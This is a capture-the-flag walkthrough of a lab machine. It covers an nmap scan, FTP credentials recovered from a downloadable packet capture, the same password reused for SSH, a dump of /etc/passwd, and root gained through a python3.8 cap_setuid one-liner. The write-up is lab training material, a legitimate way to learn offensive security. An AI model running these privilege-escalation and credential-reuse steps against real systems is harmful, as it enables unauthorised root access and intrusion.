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$ nmap -A -p- 10.10.10.245 -T4 -Pn

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 06:16 EDT
Stats: 0:04:50 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.76% done; ETC: 06:20 (0:00:00 remaining)
Nmap scan report for 10.10.10.245
Host is up (0.046s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Sun, 04 Jul 2021 10:17:42 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sun, 04 Jul 2021 10:17:37 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sun, 04 Jul 2021 10:17:37 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: OPTIONS, HEAD, GET
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=7/4%Time=60E18AC0%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,2FE5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20S
SF:un,\x2004\x20Jul\x202021\x2010:17:37\x20GMT\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x201938
SF:6\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\n
SF:\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20
SF:<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\x
SF:20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\x
SF:20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1
SF:\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image/
SF:png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<l
SF:ink\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">\
SF:n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/font
SF:-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20h
SF:ref=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=\
SF:"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x20
SF:<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.c
SF:ss\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/cs
SF:s/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOptions
SF:,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Sun,\x20
SF:04\x20Jul\x202021\x2010:17:37\x20GMT\r\nConnection:\x20close\r\nContent
SF:-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20OPTIONS,\x20HEAD,\x2
SF:0GET\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text/
SF:html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20\
SF:x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\n
SF:\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invalid
SF:\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27;RTSP/
SF:1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189,
SF:"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20Su
SF:n,\x2004\x20Jul\x202021\x2010:17:42\x20GMT\r\nConnection:\x20close\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\r
SF:\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20F
SF:inal//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\
SF:n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20serv
SF:er\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20che
SF:ck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 315.77 seconds

Open ports :

  • 21/tcp open ftp vsftpd 3.0.3
  • 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
  • 80/tcp open http gunicorn

http://10.10.10.245/

Dashboard

Security Snapshot

IP Config

Network status

Security Snapshot

http://10.10.10.245/data/1

Using Burp we can discover the content of the site and discover if there is anything else in content data.

Using Burp Discover functionality we can obtain also if there is anything else here.

We can download those Wireshark pcap files and analyze them.

0.pcap

Analyzing this file we can observe:

We’ve obtained the ftp credentials:

USER nathan
PASS Buck3tH4TF0RM3!

Maybe these credentials will be valid for the ssh?
We’ll also check it later.

$ ftp 10.10.10.245

Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

ftp> dir

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Jul 17 13:35 user.txt
226 Directory send OK.

ftp> get user.txt

local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (700.5775 kB/s)
ftp> quit
221 Goodbye.

$ cat user.txt

0956XXXXXXXXXXXXXXXXXXXXXXXXXXXX

$ ssh nathan@10.10.10.245

The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ECDSA key fingerprint is SHA256:8TaASv/TRhdOSeq3woLxOcKrIOtDhrZJVrrE0WbzjSc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes 
Warning: Permanently added '10.10.10.245' (ECDSA) to the list of known hosts.
nathan@10.10.10.245's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Jul 17 14:50:58 UTC 2021

  System load:           0.0
  Usage of /:            35.0% of 8.73GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             226
  Users logged in:       0
  IPv4 address for eth0: 10.10.10.245
  IPv6 address for eth0: dead:beef::250:56ff:feb9:87e6

  => There are 4 zombie processes.

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ 

nathan@cap:~$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
nathan:x:1001:1001::/home/nathan:/bin/bash
ftp:x:112:118:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Getting SUID binaries:

nathan@cap:~$ getcap -r / 2>/dev/null

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

https://gtfobins.github.io/gtfobins/python/

If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID.

nathan@cap:~$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

root@cap:~# 

root@cap:~# id

uid=0(root) gid=1001(nathan) groups=1001(nathan)

root@cap:~# cd /root/
root@cap:/root# ls

root.txt  snap

root@cap:/root# cat root.txt

d1eaXXXXXXXXXXXXXXXXXXXXXXXXXXXX

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